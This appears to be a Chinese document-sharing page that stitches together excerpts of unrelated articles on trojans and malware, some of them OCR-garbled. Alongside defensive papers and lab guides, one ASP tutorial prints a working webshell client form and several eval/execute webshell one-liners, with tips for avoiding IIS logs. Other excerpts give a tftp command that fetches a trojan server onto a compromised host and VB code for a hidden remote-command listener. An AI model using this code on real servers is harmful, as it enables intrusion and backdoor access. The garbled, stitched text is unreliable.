完整版-木马分析

格式：docx
大小：82.00 KB
文档页数：8

下载文档原格式

DDOS案中涉案木马(DbSecuritySpt)的深入分析

・ＶａｌｄｉｋＳＳ一ＨＣＣ￣ｅＡｙｅＭＵｎｕｘＢｏｔｎｅｔ－酬ｌＧ砒ｅｓＦｅｂｒｕａｒｙ２０１４
１．２木马功能Ｉ．２．１５个文件的分工
ｔＩ１
为木马的全局配置文件，如线程、攻击方式等。
多出ｐａｃｋｅｔ．ｄｌｌ及ｎｐｆ．ｓｙｓ。该木马最早ｆ｛｛现于２０１１年．发艉
ｌ木马基本情况
１．１木马样本件
ＤｂＳｅｃｕｒｉｔｙＳｐｔ．ｅｘｅ（ＭＤ５：４５９３ｄ３５６ｃｆ９ｅｃ３ｂｆ６３ａｂ
关功能．
关键词：木马；ＤＤＯＳ攻击；功能性分析
２（）１６年８月，ｌ作中发现一款［）ＤＯＳ类型的涉案木马ＤｂＳｅ￣，ｕｒｉｌｙＳｐｔ，为了更好地掌握其特性，对提取出来的木马样本（Ｗｍ３２版）进行．ｒ深入分析，限于水平，不能很好地体
脱出小码的原祝
这是个还有Ｂｏｔ僵尸网络的ＤＤＯＳ类木马．分为ｗＩｌ１＿
ｄｏｗｓ、Ｌｉｎｕｘ版本，其中：Ｗｉｎｄｏｗｓ又分为ｘ８６和ｘ６４（３２、６４位）。这里分析的是提取到的３２位程序，如果是６４位的还会
摘
要：在工作中发现此类木马被广泛用于ＤＤＯＳ攻击之中。虽然 “ ＶｉｒＳｃａｎ ” 、 “ 火眼 ”等自动化分析工具中都有

全面详尽剖析一句话asp木马

全面详尽剖析一句话asp木马所谓一句话插马，就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。

它分为一句话asp马、一句话php马……，本文就一句话asp木马来做一次详尽的剖析。

在此首先要感谢前辈们的探究！一：基础篇首先我们看一下最常用的一句话木马客户端的代码<html><head><title>一句话客户端</title><style type="text/css"></style></head><body><table width="500" border="0" align="center" class="lygf" height="14" cellspacing="0"><tr><td height="1" width="794"><form name="lygf" method="post"><input name="add" type="text" id="add" size="97" value="http://"><input type="submit" value="枫" onClick="this.form.action=this.form.add.value;"><input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")"></td></tr><tr><td height="100" width="794"><textarea name="*" cols="100" rows="9" width="45">set lP=server.createObject("Adodb.Stream")lP.OpenlP.Type=2lP.CharSet="gb2312"lP.writetext request("lygf")lP.SaveToFile server.mappath("fk.asp"),2lP.Closeset lP=nothingresponse.redirect "fk.asp"</textarea></td></tr><tr><td height="1" width="794"><textarea name="lygf" cols="100" rows="15" width="45">写入你的大马</textarea></td></tr><tr><td width="794" height="7"><font color="#000000">提供六个服务端:</font><br>1. <%eval request("fk")%><br>2. <%execute request("fk")%><br>3. <%execute(request("fk"))%><br>4. <%On Error Resume Next%><%eval request("fk")%><br>5. <script language=VBScript runat=server>execute request("fk")</Script> <br>6. <script language=VBScript runat=server>eval request("fk")</Script><br><br>By 冷月孤枫枫客:/ ... t;/font><br></td></tr></table></body></html>把上面的代码另存为htm的格式后就可以使用了，具体的使用说明在网页上可以看到下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了)：<title>一句话客户端</title> 显示在浏览器标题栏上面的文字，你可以自己更改<style type="text/css"> 本页面所要用到的样式<form name="lygf" method=post> 创建一个form对象，其中name的作用是用作一个枢纽把我们要插入的马的内容传递给form，以post方式提交给下面的连接，而不是get，用post提交IIS 是不记入日志的<input name="add" type="text" id="add" size="97" value="http://">创建一个用于提交的输入框(text)用于写地址(add)，长度是97个字节，value=是默认的内容<input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">创建一个按钮用于提交(submit)，后面的部分是把上面value的值赋给form去post<input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">通过建立一个隐藏域，把fk与下面name的值*关联，用session保存代码然后执行,这句借用了海洋的客户端，不过那样不怎么好用<textarea name="*" cols="100" rows="9" width="45"> textarea就是论坛中的发言框。

“木马”病毒的分析、检测与防治

的 “ 木马” 有很多种类，它的基本构成却是一样的，但即由服务器和控翻器组成。一旦用户电脑植人了木马”在用户上网的时候，，黑客就可以使用控制器进人并控制用户的电脑。通过“ 木马”黑客可以从远程“ 视” ，窥到用户电脑中所有的文件，看系统信息，查盗取电脑中的各种口令，偷走所有他认为有价值的文件，除所有文件，删甚至将整个硬盘格式化，还可以将其他的电脑病毒传染到电脑上来，可以远程控制电脑鼠标，盘，看到用户的一举键查
“ 马＂木病毒的分析、测与防治检
屈蕴茜，陆建德
（ｆ苏，大学信息工程学院，Ｉ江苏苏州２￣ｏ）１６０
摘要：讨论时计算机安全危害极大的“ 木马” 病毒的工作原理。从启动方式、通信方式和传播方式多方面进行了探讨，并对检刹、清除和预防“ 木马” 病毒提出了可行
一
般的程序需要我们点击该程序才会启动， “ 马” 了隐蔽起见，而木为往往在电脑开机时
自启动，或者捆绑在其它程序中，当用户运行那个程序时，木马” 随之悄悄地启动。系统 “ 也启动时自动加载应用程序的方法，木马” “ 都会用上，：动组、ｉ．ｉｓｓｍ．ｉ注册表等如启ｗｎｉ、ｔｉ、ｎｙｅｎ等都是“ 木马” 自启动的好地方，而捆绑在其它程序中的木马” 以由黑客自己确定捆绑方可式、捆绑位置、捆绑程序等。
维普资讯
第２卷期２第１
２０年２Ｏ２月
苏
州大学学报
工学版
ｖｄ．Ｈｏ１２．

疱丁解马-木马查杀深度剖析之文件篇

疱丁解马-木马查杀深度剖析之文件篇(三) 作者：museheroA、利用技术手段隐藏文件讲完了障眼法后，我们讲点实在的。

其实，如果您是从第一篇一直看过来的，那么应该可以想到一些手段了，是的，HOOK、InLine-HOOK几乎可以用于任何地方，不但适用于隐藏进程、隐藏注册表，同样适用于隐藏文件，不同的只是HOOK的地方不同而已。

看下图03－49：这是某文件夹隐藏软件的HOOK情况，当用其隐藏文件或文件夹后，可以在SSDT 检查中发现这个HOOK，HOOK的功能函数是”NtQueryDirectoryFile”，当你恢复了此HOOK后，被隐藏的东西自然也就显现了。

同理，Inline-Hook此函数，效果也是一样的。

对于HOOK，每篇都在讲，这里就不过多讲述了。

测试程序也不提供了，毕竟人家是商业软件，是*这个吃饭的。

说明一下儿，内核代码扫描是扫描并恢复Inline-HOOK的地方。

下面我们讲一讲借助文件系统隐藏文件的情况，上面的基础知识中我们已经讲过了，回顾一下儿”文件格式有特定的程序来识别并读取使用，而文件系统格式则由特定的驱动来识别并读取使用，文件系统驱动根据文件系统的不同而不同，FAT 文件系统、NTFS文件系统分别由FastFat.sys与NTFS.sys来管理。

”这里我们再讲一个概念”文件过滤系统驱动”，听名字应该也能想出大概了吧？是的，这是一个文件过滤系统，付在文件系统上，像个筛子一样对传入文件系统驱动的信息进行过滤。

文件过滤系统在现实中应用非常广泛，几乎所有的杀毒软件都会用到，而系统本身的系统还原也是应用的文件过滤系统，还有些硬盘还原之类的程序也在使用文件过滤驱动。

在网上找到了个借助文件过滤系统驱动来隐藏文件的例程，这里我们就借由此程序来看看文件过滤系统是如何隐藏文件的。

（在此说明一下，说来也惭愧，测试程序都是在网上找的，其实应该是自己来写的，只是我的时间实在是太不够用了，只好偷懒了，在此也谢谢这些程序的作者们。

木马型网络攻击技术分析

木马型网络攻击技术分析作者：谭博伦来源：《商品与质量·消费视点》2013年第10期摘要：随着科学技术的进步与发展，人类社会正在向网络社会迈进，人们的生活已经和网络产生了密不可分的关系，各个领域的进步与发展也都离不开网络技术，人们的决策已经越来越依赖于信息技术，它也使得信息站成为可能。

信息站将成为未来战争的一个新兴的形式之一，它的涉及面非常广，既可以破坏军事指挥，武器控制等，还可以使得诸如金融、商业、电力等遭受破坏。

而目前应用最广的病为人所知程度最广的就是木马病毒所造成的对于网络的攻击。

在这个背景之下，对于木马型网络攻击技术的分析和研究具有重要的现实意义。

关键词：木马型；网络攻击；技术分析网络攻击是指攻击者利用各种控制计算机的攻击手段通过网络技术实现对目标主机系统发动攻击，旨在破坏对方的网络系统或是获取更多有价值的信息。

伴随着科技的日益更新和发展，网络攻击技术的发展也呈现出自动化、快速化、动态化的发展趋势。

本文将通过两个方面对当前的木马型网络攻击技术进行分析，一方面是对于木马进行简单论述，另一方面是对木马型网络攻击技术的实现的关键技术进行介绍。

一、木马的简要介绍所谓计算机木马其实是源于古希腊中的特洛伊木马的故事，木马病毒是一种隐藏在计算机网络中的一种可以在毫无察觉的情况下对受害系统进行破坏或窃取的病毒。

与一般的病毒一样，木马病毒也是从Unix平台中产生的，直接作用于常见的Windows操作系统中。

截至目前为止，木马程序已经更新了好几代，它的危害性和隐藏的密闭性也在不断的提高，目前木马主要包括以下几种类型：远程控制型；密码发送型；键盘记录型；毁坏型；FTP型。

它们主要是根据木马对于计算机的具体动作形式来进行划分的。

据不完全统计，当前世界上木马已有好几千种，它们虽然都是通过程序实现，但是由于运行的环境的差异性，它们所发生的作用也不尽相同。

木马具有隐蔽性、欺骗性、自动恢复性、功能的特殊性。

它们都是木马的基本特征。

网络安全中的恶意代码分析与防范手段

网络安全中的恶意代码分析与防范手段恶意代码是指通过计算机网络对用户或者系统造成危害的一种程序代码，常见的恶意代码包括病毒、蠕虫、木马、间谍软件等。

随着网络的普及和应用的广泛，网络安全问题变得愈发突出。

本文将对网络安全中的恶意代码进行分析，并提供相应的防范手段。

一、恶意代码的分析恶意代码的形式多种多样，具有隐蔽性和破坏性。

下面将介绍几种常见的恶意代码及其分析方法。

1. 病毒病毒是一种能够自我复制并传播的恶意代码。

它通常通过文件的共享或者下载、运行来感染目标计算机。

病毒可以对系统文件进行修改、删除或者破坏，导致计算机系统崩溃。

分析病毒需要使用杀毒软件，对潜在的病毒样本进行扫描和分析，从而识别病毒的特征。

2. 蠕虫蠕虫是一种能够自动复制并在网络中传播的恶意代码。

蠕虫可以通过漏洞来感染系统，并在系统中运行。

它们常常通过邮件、用户点击等方式传播。

分析蠕虫需要借助网络监控系统，对网络流量进行监测和分析，从而发现异常的数据包和行为。

3. 木马木马是一种通过伪装成合法程序隐藏在计算机系统中的恶意代码。

它可以远程控制受感染的计算机，进行非法操作，如窃取个人信息、植入其他恶意程序等。

分析木马需要使用流量分析工具，监控计算机与外部的网络连接，识别异常连接和传输的数据包。

4. 间谍软件间谍软件是一种潜伏在计算机中的恶意程序，用于收集用户的个人信息，并将其发送给第三方。

间谍软件通常通过下载和安装一些看似正常的软件而进入系统。

分析间谍软件可以使用反间谍软件进行扫描和识别，同时注意检查系统中的异常行为和网络连接。

二、恶意代码的防范手段针对恶意代码的分析结果，我们需要采取相应的防范措施，并提高网络安全的水平。

以下是几种常用的防范手段。

1. 使用杀毒软件和防火墙杀毒软件和防火墙是防范恶意代码的第一道防线。

及时更新病毒库和漏洞补丁，可以有效阻止恶意代码的感染。

同时，配置合适的防火墙策略，对网络连接和传输进行监控和过滤，保护系统安全。

BIOS木马机理分析与防护

第３卷第ｌ期７３
、０＿７，ｌ３
・
计
算
机
工
程
２１年７月０１
ｕｅｍｐｔｒＥｎｇｎｅｉｇｉｅｒｎ
安全技术・
文编ｌｏ３８０）— １＿３文标码Ａ章号：０＿４（１１０２００＿２２１３２一献识：
ｔｅｓｃｒｔｆｔｅｆｍｗａｅｉｏｍｐｔｒｈｅｕｙｏｒｉｈｉｒｎｃｕｅ．．
［ｙｗｏｄ］ＢＯＳＴｏａ；ａｉＩｐｔｔｕｙｔｍ（Ｉ）ｍａｉｉｕｏｅｓｃｒｙｄｔｃｉｎｔｍｉａｓｃｒｙＫｅｒｓＩｒｊｎＢｓｕ／ｐｔｓＢＯＳ；ｌｏｓｄ；ｅｕｔｅｅｔ；ｅｎｌｅｕｉｃｎＯｕＳｅｃｃｉｏｒｔＤＯＩ１．９９．ｓ．００３２．１．．３：０３６０ｉｎ１０ —４８０１１０９ｓ２３
１概述
固件基本输入输出系统（ａｉｎｕ／ｔｕｙｔｍ，ＢｓＩｐｔｐｔＳｓｃＯｕｅＢＯＳ是计算机中不可缺少的底层基础系统软件，为操作系Ｉ）统提供最直接、最底层的硬件控制。ＢＯＳ以特权模式运行，Ｉ甚至比操作系统更早取得对计算机的控制权。如果ＢＯＩＳ系
中分号：Ｐ９０圈类Ｔ３．３８
ＢＯＳ木马机理分析与防护Ｉ
池亚平，许盛伟，方勇
（电子科技学院通信工程系，北京１０７）北京０００摘要：针对嵌入在计算机底层固件的基本输入输出系统（ＩＳ中，木马对计算机系统安全危害巨大、不易删除和不易发现的问题，分析ＢＯ）

特洛伊木马事情原理分析及清除方法

再加入一个文本框，用于输入服务器的IP地址或服务器名。

然后加入一个按钮，按下之后就可以对连接进行初始化。

代码如下：Private Sub cmdConnect_Click()Win_Client.RemoteHost=Text1.TextWin_Client.ConnectTimer1.Enabled=TrueEnd Sub(3)建立连接后就可以使用DataArrival事件处理收到的数据了。

(4)在服务器端Server工程中也建立一个窗体，窗体的visible属性设置为False。

加载Win Sock控件，称为Win_Server，协议选择TCP。

在Form_Lad事件中加入以下代码：Private Sub Form_Load()Win_Server.LocalPort=2001 ‘自定义的端口号Win_Server.ListenEnd Sub(5)准备应答客户端程序的请求连接，使用ConnectionRequest事件来应答客户端程序的请求，代码如下：Private Sub Win_Server_ConnectionRquest(ByValrequestID As Long)If Win_Server.State sckClosed ThenWin_Server.Close ‘检查控件的State属性是否为关闭的End If ‘如果不是，在接受新的连接之前先关闭此连接Win_Server.Accept requestIDEnd Sub(6)这样在客户端程序按下连接按钮后，服务器端程序的ConnectionRequest事件即被触发，执行以上代码。

如果不出意外，连接将被建立起来。

(7)建立连接后服务器端的程序通过JDataArrival事件接收客户机端程序发出的指令运行既定程序。

DataArrival事件程序如下：Private Sub Win_Server_DataArrival(ByVal bytesTotal As Long)Dim strData As StringDim I As LongWin_Server.GetData strData ‘接收数据并存入strDataFor i=1 ToLen(strData) ‘分离strData中的命令If Mid(strData,I,1)=”@” ThenmKey=Left(strData,i-1 ‘把命令ID号存入mKeystrData=Right(strData,Len(strData)-i) ‘把命令参数存入strDataExit FofEne IfNext iSelect Case Val*mKey)Case i ‘i为一系列命令的定义，如截获驱动器名、目录名、文件名、强制关闭服务器端的计算机，强制重启服务器端的计算机，屏蔽任务栏窗口，屏蔽开始菜单，按照客户机端传来的文件名或目录名删除它们，屏蔽热启动键，运行服务器端的任何程序。

L003006006-木马攻击辅助分析-aports与cports(2)

1、学生单击“网络拓扑”进入实验场景，单击windows2003中的“打开控制台”按钮，进入目标图12、输入默认账号administrator，密码123456，进入目标主机桌面。

如图2所示：图23、进入到D:\tools文件夹，在文件夹中找到cports.exe软件，鼠标双击打开软件，此时即可软件界面。

如图3图4所示：图3 找到软件，打开软件4、运行cports.exe软件后立即就能查看到我们计算机进程、端口等相关信息。

如图4所示：图4选项栏依次显示为：进程名，进程ID，协议，本地端口，本地端口名，本地地址，远程端口，远程端口程主机名，状态，进程路径。

5、继续分析进程，删除有危险或没用的进程。

选中需要删除或没用的进程，点击“右键”选择“终止程”即可停止该进程。

如图5所示：图56、分析进程名称，关闭不必要的进程连接。

选中需关闭连接的进程，点击“右键”选择“关闭选中的闭选中进程的TCP连接。

（要关闭选中的TCP连接需要先将该进程终止）如图6所示：图67、我们可以根据自身的需要选择查看信息。

选中任意进程，点击“右键”选择“设置栏目”然后进选择需要显示的选项即可。

如图8、9所示：图8图98、在桌面上找到“攻防演练工具-木马分析”文件夹，在文件夹中找到“APORTS.EXE”软件，鼠标双到APORTS.EXE软件界面（该软件只能用于查看计算机进程方面的相关信息，无法对进程进行操作）。

图119、运行“APORTS.EXE”软件立即就可以查看到我们计算机的相关信息。

如图12所示：图1210、我们可以利用cports.exe、APORTS.EXE工具查看计算机相关信息，有利于我们增加对计算机的删除进程和端口。

11、实验完毕，关闭虚拟机和所有窗口。

asp一句话木马原理分析

asp⼀句话⽊马原理分析通过HTTP协议来访问⼀句话⽊马的使⽤范围(我只列举了2种):1)只有数据库备份的情况数据库备份成asp⽂件时候，不出现“ 编译错误，缺少脚本关闭标志%>"2)SA权限的时候,⼀般先写⼊⼀句话,图个⽅便..(当然,直接tftp上传鸽⼦运⾏,那更快)tftp -i ip get server.exe⼀句话⽊马<%execute request("a")%>的原理:⾸先知道execute()函数,是⽤来执⾏asp代码的.就是负责执⾏我们上传的⼤马,将马交由asp.dll解析.上⾯的代码<%execute request("a")%>可以这样来解释：<%if request("a")<>"" then execute request("a")%>如果a不为空的时候执⾏.执⾏什么呢?...if a != 0下⾯我们来看⼀下客户端:<form action=http://192.168.0.28/shell.asp method=post><textarea name=l cols=120 rows=10 width=45>set lP=server.CreateObject("Adodb.Stream") '创建Adodb.Stream组件..lP.OpenlP.Type=2lP.CharSet="gb2312"lP.writetext request("p")lP.SaveToFile server.mappath("dbbak.asp"),2lP.Closeset lP=nothingresponse.redirect "dbbak.asp"</textarea><textarea name=p cols=120 rows=10 width=45>要提交的数据</textarea><BR><center><br><input type=submit value=提交>Adodb.Stream负责上传读取数据到服务器:组件："Adodb.Stream"有下列⽅法：Cancel ⽅法使⽤⽅法如下Object.Cancel说明：取消执⾏挂起的异步 Execute 或 Open ⽅法的调⽤。

木马的行为分析和通用手动解决流程

木马的行为分析和通用手动解决流程作者：李汉广来源：《电脑知识与技术》2013年第19期摘要：木马作为一个互联网的毒瘤，给用户带来了极大的损失，该文从某非常典型的木马行为进行分析，探讨了木马的启动方式、隐藏方式以及如何穿透防火墙的方式，并由此分析了如何从各种蛛丝马迹中检查电脑，以排除木马威海。

关键词：木马；行为分析；手动解决中图分类号：TP393 文献标识码：A 文章编号：1009-3044（2013）19-4389-03所谓的特洛伊木马正是指那些表面上是有用的软件、实际目的却是危害计算机安全并导致严重破坏的计算机程序。

常见用途为一种基于远程控制的黑客工具，然作为病毒的一个类型，其本身具有非常强的隐蔽型，通过多种方式隐藏自身，通过免杀技术可以避过杀毒软件的监控，而通过反弹端口的技术可以绕过防火墙的监控，而普通用户电脑上，使用最多的就是这两款安全软件，如果绕过了这两重监控的机制，那么用户的电脑就相当于是不设防，安全性将受到极大的损害。

但是不论木马怎么变化怎么隐藏，为了能够控制我们的系统，获取我们的资料，总是有些特征是必不可少的，该文将从启动方式、控制技术、隐藏技术、进程守护、守护文件等方面来全方位展示一个木马的发作特点，并最后提出一个通用的解决流程。

1 案例分析海南省某高校发生了一次重大的教学事件，某教师的期末试卷泄露，造成了严重的教学事故，作为一名高校信息安全从业人员，本人受指派完成对此次事件的调查工作。

接受任务后，出于职业直觉，第一反应就是这名教师的电脑可能受到了黑客的攻击感染了木马，从而导致了试卷的非正常泄露，所以第一时间就调用了该教师的电脑，带回实验室进行分析。

木马要能够有效的控制对方电脑，那么必然会存在某些活动进程和端口，并且通常会有某些启动项的存在，根据这一思路，在实验室将教师电脑开机联网之后，立刻使用fport软件监视端口，发现出现了几个连接的端口，显示如图1所示：在图1中反色显示的区域很明显的发现了IE进程，而此时我并没有开启任何的进程，并且此IE所使用的端口也不是常规的80端口，而是880端口，初步判断这个进程行为是很可疑的，列为重点怀疑对象。

木马取证及实验报告(3篇)

第1篇一、实验背景随着互联网的普及和信息技术的发展，计算机安全问题日益凸显。

其中，木马攻击作为一种隐蔽性强、破坏力大的网络攻击手段，对个人和企业信息安全构成了严重威胁。

为了提高对木马攻击的防范和应对能力，本实验旨在通过对木马攻击的取证分析，了解木马的工作原理、传播途径和防范措施，为实际信息安全工作提供参考。

二、实验目的1. 了解木马攻击的基本原理和特点。

2. 掌握木马攻击的取证方法。

3. 学习木马攻击的防范措施。

4. 提高网络安全意识和防范能力。

三、实验原理木马（Trojan Horse）是一种隐藏在正常程序中的恶意代码，它能够在用户不知情的情况下窃取用户信息、控制计算机等。

木马攻击通常分为以下几个步骤：1. 感染：攻击者通过各种手段将木马程序植入目标计算机。

2. 隐藏：木马程序在目标计算机中隐藏自身，避免被用户发现。

3. 控制与利用：攻击者通过远程控制木马程序，实现对目标计算机的控制。

木马取证主要包括以下步骤：1. 收集证据：对被感染计算机进行初步检查，收集相关证据。

2. 分析证据：对收集到的证据进行分析，确定木马类型、攻击者身份等。

3. 恢复数据：尝试恢复被木马窃取的数据。

4. 防范措施：根据取证结果，提出相应的防范措施。

四、实验内容实验一：木马攻击模拟1. 准备工作：搭建实验环境，包括被攻击计算机、攻击计算机和服务器。

2. 感染目标计算机：通过发送带有木马程序的邮件、下载恶意软件等方式感染目标计算机。

3. 隐藏木马程序：设置木马程序的启动项，使其在目标计算机启动时自动运行。

4. 控制与利用：通过远程控制木马程序，查看目标计算机的文件、监控键盘输入等。

实验二：木马取证分析1. 收集证据：对被感染计算机进行初步检查，收集相关证据，如日志文件、系统信息等。

2. 分析证据：使用反病毒软件、木马分析工具等对收集到的证据进行分析，确定木马类型、攻击者身份等。

3. 恢复数据：尝试恢复被木马窃取的数据，如密码、文件等。

蠕虫病毒及木马的分析与防范

课程论文课程名称：信息安全与保密论文题目：蠕虫病毒和木马分析与防范专业：信息管理与信息系统

蠕虫病毒和木马分析与防范摘要：随着计算机技术的飞速发展，网络越来越成为人们生活中必不可少的一部分，然而信息安全问题也在这一背景下成为越来越重要的一个关注点。在影响信息安全的种种问题中，计算机病毒无疑是最应该受到重视的，进一步了解其原理，才能达到更好的防范。关键词：信息安全蠕虫病毒木马原理防范 Abstract：With the rapid development of computer technology, Internet has increasingly become an indispensable part of people's lives. However, information security issues are becoming increasingly important in this context. As we all know, the computer virus is the most important issue should be pay attention to. Only by understanding its principles can we achieve better prevention. Keywords：Information Security Worm virus Trojans Principle Precautions. 信息安全是指信息网络的硬件、软件及其系统中的数据受到保护，不受偶然的或者恶意的原因而遭到破坏、更改、泄露，系统连续可靠正常地运行，信息服务不中断。随着计算机技术的飞速发展，计算机信息安全问题越来越受关注。在影响信息安全的安全威胁中计算机病毒是非常重要的一个方面。计算机病毒在《中华人民共和国计算机信息系统安全保护条例》中被明确定义，病毒指“编制者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。蠕虫病毒是一种常见的计算机病毒。它是利用网络进行复制和传播，传染途径是通过网络和电子邮件。最初的蠕虫病毒定义是因为在DOS环境下，病毒发作时会在屏幕上出现一条类似虫子的东西，胡乱吞吃屏幕上的字母并将其改形。蠕虫病毒是自包含的程序或是一套程序，它能传播自身功能的拷贝或自身的某些部分通常是经过网络连接到其他的计算机系统中。近几年危害很大的“尼姆亚”病毒就是蠕虫病毒的一种，2007年1月流行的“熊猫烧香”以及其变种也是蠕虫病毒。用户电脑中毒后可能会出现蓝屏、频繁重启以及系统硬盘中数据文件被破坏等现象。同时，该病毒的某些变种可以通过局域网进行传播，进而感染局域网内所有计算机系统，最终导致企业局域网瘫痪，无法正常使用，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，该文件是一系统备份工具GHOST的备份文件，使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。病毒会删除扩展名为gho的文件，使用户无法使用ghost软件恢复操作系统。“熊猫烧香”感染系统的.exe .com. f.src .html.asp文件，添加病毒网址，导致用户一打开这些网页文件，IE就会自动连接到指定的病毒网址中下载病毒。在硬盘各个分区下生成文件autorun.inf和setup.exe，可以通过U盘和移动硬盘等方式进行传播，并且利用Windows系统的自动播放功能来运行，搜索硬盘中的.exe可执行文件并感染，感染后的文件图标变成“熊猫烧香”图案。“熊猫烧香”还可以通过共享文件夹、系统弱口令等多种方式进行传播。该病毒会在中毒电脑中所有的网页文件尾部添加病毒代码。一些网站编辑人员的电脑如果被该病毒感染，上传网页到网站后，就会导致用户浏览这些网站时也被病毒感染。据悉，多家著名网站已经遭到此类攻击，而相继被植入病毒。由于这些网站的浏览量非常大，致使“熊猫烧香”病毒的感染范围非常广，中毒企业和政府机构已经超过千家，其中不乏金融、税务、能源等关系到国计民生的重要单位。这是中国近些年来，发生比较严重的一次蠕虫病毒发作。影响较多公司，造成较大的损失。且对于一些疏于防范的用户来说，该病毒导致较为严重的损失。蠕虫病毒的一般防治方法是：使用具有实时监控功能的杀毒软件，防范邮件蠕虫的最好办法，就是提高自己的安全意识，不要轻易打开带有附件的电子邮件。另外，可以启用瑞星杀毒软件的“邮件发送监控”和“邮件接收监控”功能，也可以提高自己对病毒邮件的防护能力。从2004年起，MSN 、QQ等聊天软件开始成为蠕虫病毒传播的途径之一。“性感烤鸡”病毒就通过MSN软件传播，在很短时间内席卷全球，一度造成中国大陆地区部分网络运行异常。对于普通用户来讲，防范聊天蠕虫的主要措施之一，就是提高安全防范意识，对于通过聊天软件发送的任何文件，都要经过好友确认后再运行；不要随意点击聊天软件发送的网络链接。病毒并不是非常可怕的，网络蠕虫病毒对个人用户的攻击主要还是通过社会工程学，而不是利用系统漏洞！所以防范此类病毒需要注意以下几点：1、选购合适的杀毒软件。网络蠕虫病毒的发展已经使传统的杀毒软件的“文件级实时监控系统”落伍，杀毒软件必须向内存实时监控和邮件实时监控发展。另外，面对防不胜防的网页病毒，也使得用户对杀毒软件的要求越来越高。2、经常升级病毒库，杀毒软件对病毒的查杀是以病毒的特征码为依据的，而病毒每天都层出不穷，尤其是在网络时代，蠕虫病毒的传播速度快、变种多，所以必须随时更新病毒库，以便能够查杀最新的病毒。3、提高防杀毒意识。不要轻易去点击陌生的站点，有可能里面就含有恶意代码！当运行IE时，点击“工具→Internet选项→安全→ Internet区域的安全级别”，把安全级别由“中”改为“高” 。因为这一类网页主要是含有恶意代码的ActiveX或Applet、 JavaScript的网页文件，所以在IE设置中将ActiveX插件和控件、Java脚本等全部禁止，就可以大大减少被网页恶意代码感染的几率。具体方案是：在IE窗口中点击“工具”→“Internet选项”，在弹出的对话框中选择“安全”标签，再点击“自定义级别”按钮，就会弹出“安全设置”对话框，把其中所有ActiveX插件和控件以及与Java相关全部选项选择“禁用”。但是，这样做在以后的网页浏览过程中有可能会使一些正常应用ActiveX的网站无法浏览。4、不随意查看陌生邮件，尤其是带有附件的邮件。由于有的病毒邮件能够利用ie和outlook的漏洞自动执行，所以计算机用户需要升级ie和outlook程序，及常用的其他应用程序。相比于蠕虫病毒， “木马”程序是目前比较流行的病毒文件，与一般的病毒不同，它不会自我繁殖，也并不“刻意”地去感染其他文件，它通过将自身伪装吸引用户下载执行，向施种木马者提供打开被种者电脑的门户，使施种者可以任意毁坏、窃取被种者的文件，甚至远程操控被种者的电脑。一个完整的特洛伊木马套装程序含了两部分：服务端和客户端。植入对方电脑的是服务端，而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后，会产生一个有着容易迷惑用户的名称的进程，暗中打开端口，向指定地点发送数据，黑客甚至可以利用这些打开的端口进入电脑系统。特洛伊木马程序不能自动操作，一个特洛伊木马程序是包含或者安装一个存心不良的程序的，它可能看起来是有用或者有趣的计划对一不怀疑的用户来说，但是实际上有害当它被运行。特洛伊木马不会自动运行，它是暗含在某些用户感兴趣的文档中，用户下载时附带的。当用户运行文档程序时，特洛伊木马才会运行，信息或文档才会被破坏和遗失。特洛伊木马和后门不一样，后门指隐藏在程序中的秘密功能，通常是程序设计者为了能在日后随意进入系统而设置的。木马和病毒都是一种人为的程序，都属于电脑病毒，为什么木马要单独提出来说呢?以前的电脑病毒的作用，其实完全就是为了搞破坏，破坏电脑里的资料数据，除了破坏之外其它无非就是有些病毒制造者为了达到某些目的而进行的威慑和敲诈勒索的作用，或为了炫耀自己的技术. "木马"不一样，木马的作用是赤裸裸的偷偷监视别人和盗窃别人密码，数据等，如盗窃管理员密码-子网密码搞破坏，或者好玩，偷窃上网密码用于它用，游戏帐号，股票帐号，甚至网上银行帐户等.达到偷窥别人隐私和得到经济利益的目的.所以木马的作用比早期的电脑病毒更加有用.更能够直接达到使用者的目的！导致许多别有用心的程序开发者大量的编写这类带有偷窃和监视别人电脑的侵入性程序，这就是网上大量木马泛滥成灾的原因.鉴于木马的这些巨大危害性和它与早期病毒的作用性质不一样，所以木马虽然属于病毒中的一类，但是要单独的从病毒类型中间剥离出来.独立的称之为"木马"程序。木马有很多种分类。其中网银木马是针对网上交易系统编写的木马病毒，其目的是盗取用户的卡号、密码，甚至安全证书。此类木马种类数量虽然比不上网游木马，但它的危害更加直接，受害用户的损失更加惨重。网银木马通常针对性较强，木马作者可能首先对某银行的网上交易系统进行仔细分析，然后针对安全薄弱环节编写病毒程序。如2004年的“网银大盗”病毒，在用户进入工行网银登录页面时，会自动把页面换成安全性能较差、但依然能够运转的老版页面，然后记录用户在此页面上填写的卡号和密码；“网银大盗3”利用招行网银专业版的备份安全证书功能，可以盗取安全证书；2005年的“新网银大盗”，采用API Hook等技术干扰网银登录安全控件的运行。对于如何进行木马的防御，第一点就是木马查杀，现在有很多的软件可以进行木马查杀。还有就是防火墙（分硬件和软件），如果是家庭就只需要用软件，如果是公司或其他地方就硬件和软件一起用。这样就基本能防御大部分木马，但是的软件都不是万能的，还要学点专业知识，进一步保证计算机安全。越来越多的人参与到网络生活中来，网络也在人的生活中发挥越来越重要的作用。因此只有保证了网络安全才能够更好的促进网络的发展，使之进一步紧密联系生活，促进发展。信息安全在网络发展中成为一个重要命题，我们只有进一步去了解研究，才能更好的解决现今存在的种种问题。

Windows下木马隐藏技术分析

中图分类号：Ｔ３９文献标识码：Ａ文章编号：１０－５９（１）００４－２Ｐ０．５０７９９２２１－１５００
